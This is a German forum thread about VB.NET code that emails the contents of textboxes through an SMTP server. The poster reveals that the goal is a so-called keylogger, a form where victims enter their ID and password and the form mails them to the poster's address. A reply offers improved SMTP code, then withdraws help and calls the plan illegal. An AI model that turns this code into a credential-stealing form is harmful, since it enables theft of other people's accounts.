Imports System.Net.Mail
Imports System.Net
Public Class Form1
Private Sub TextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox1.TextChanged
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.Start()
Dim text As String
text = TextBox1.Text & TextBox2.Text + vbLf
Dim myClient As New Net.Mail.SmtpClient("smtp.web.de")
myClient.Credentials = New NetworkCredential("*****", "***")
myClient.Send("***", "***, ***", "Betreff", text)
End Sub
Private Sub TextBox3_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs)
End Sub
Private Sub TextBox2_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox2.TextChanged
End Sub
End Class
Besitze 2 Textboxen, 1 Timer und ein Button! Wo ist der Fehler ?
das kommt in die Coding Section. Einen Fehler erkenne ich da nicht, aber ich würde es anders machen:
Code:
Dim email As String
Dim betreff As String
Dim empfänger As String
email = TextBox4.Text
betreff = TextBox3.Text
empfänger = TextBox2.Text
Dim myclient As New Net.Mail.SmtpClient("smtp.web.de")
myclient.EnableSsl = True
myclient.DeliveryMethod = SmtpDeliveryMethod.Network
yclient.UseDefaultCredentials = False
myclient.Credentials = New NetworkCredential("Benutzername" , "Passwort")
myclient.Send(TextBox1.Text, TextBox2.Text, TextBox3.Text, TextBox4.Text)
Du machst also 4 Textboxen:
1. Absender (Deine Emailadresse)
2. Empfänger (Die Emailadresse des anderen)
3. Den Betreff
4. Der Text, der gesendet werden soll.
Das ganze steht natürlich unter dem Button, mit dem du das absendest. Man könnte auch noch einbauen, dass man seinen Benutzernamen und sein Passwort manuell eingeben kann, dann muss man sich nicht auf eine Emailadresse festlegen.
das kommt in die Coding Section. Einen Fehler erkenne ich da nicht, aber ich würde es anders machen:
Code:
Dim email As String
Dim betreff As String
Dim empfänger As String
email = TextBox4.Text
betreff = TextBox3.Text
empfänger = TextBox2.Text
Dim myclient As New Net.Mail.SmtpClient("smtp.web.de")
myclient.EnableSsl = True
myclient.DeliveryMethod = SmtpDeliveryMethod.Network
yclient.UseDefaultCredentials = False
myclient.Credentials = New NetworkCredential("Benutzername" , "Passwort")
myclient.Send(TextBox1.Text, TextBox2.Text, TextBox3.Text, TextBox4.Text)
Du machst also 4 Textboxen:
1. Absender (Deine Emailadresse)
2. Empfänger (Die Emailadresse des anderen)
3. Den Betreff
4. Der Text, der gesendet werden soll.
Das ganze steht natürlich unter dem Button, mit dem du das absendest. Man könnte auch noch einbauen, dass man seinen Benutzernamen und sein Passwort manuell eingeben kann, dann muss man sich nicht auf eine Emailadresse festlegen.
Grüße
Hey,
erstmal danke und ich wollte aber einen Keylogger haben^^ d.h. der soll in eine Textbox seine ID und in die andere sein PW eingeben und vlt. noch ein 3. wo der Servername reinsoll & -> Es soll an die ****@hotmail.de gesendet werden -> mit der Aktivierung des Button1. :O
Wär es möglich, dass du es mir so umformen könntest?^^ Wäre echt lieb
Hey,
erstmal danke und ich wollte aber einen Keylogger haben^^ d.h. der soll in eine Textbox seine ID und in die andere sein PW eingeben und vlt. noch ein 3. wo der Servername reinsoll & -> Es soll an die ****@hotmail.de gesendet werden -> mit der Aktivierung des Button1. :O
Wär es möglich, dass du es mir so umformen könntest?^^ Wäre echt lieb
LG
KS
€: Nimm in Skype an
Hi,
tut mir leid, ich hatte mich in der Überschrift verlesen. Ich dachte dir wurde ein Fehler bei VB ausgespuckt und habe das "Keylogger" übersehen.
Das was du vor hast ist aber nicht legal und das unterstützen wir hier nicht.
v15 Server einrichten - Fehler bei Management Studio 2008 help ! 08/28/2011 - Flyff Private Server - 0 Replies Hey leute . Wollte mir gerade mal alles startklar machen nen v15 Server von Sedrika damit ich morgen rumfuchteln kan :P
Bei dem Management Studio ist bei mir dieser Fehler :
Die SQL Server 2005 Express-Tools sind installiert. Entfernen Sie die SQL Server 2005 Express-Tools, um den Vorgang fortzusetzen.
Ich weißt jetzt nicht wie ich die Dateien losbekommen soll . Weiß einer Rat ?
Bin nähmlich nicht gerade der helle in solchen Sachn .... :(
Bin darauf gestoßen :...
Visual Basic 2008 Fehler 02/06/2010 - Main - 1 Replies Hallo,
Habe ein Programm mit Visual Basic gecode.
Dann kam dieser fehler:
Die Anweißung ist in einem Namespace ungültig
was meinen die damit?
Visual Basic 2008 Fehler 02/06/2010 - .NET Languages - 3 Replies Hallo,
Habe grad mit Visual Basic 2008 ein Programm gemacht.
Aber es taucht ein Fehler auf.
Fehler:
Die Anweißung ist in einem Namespace ungültig
VB 2008 - Dubugen Fehler 02/01/2010 - Off Topic - 5 Replies Hallo,
Wollte nen Spamer machen.
Code:
Public Class Form2
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
VB 2008 -> Keyloggercode-Fehler?
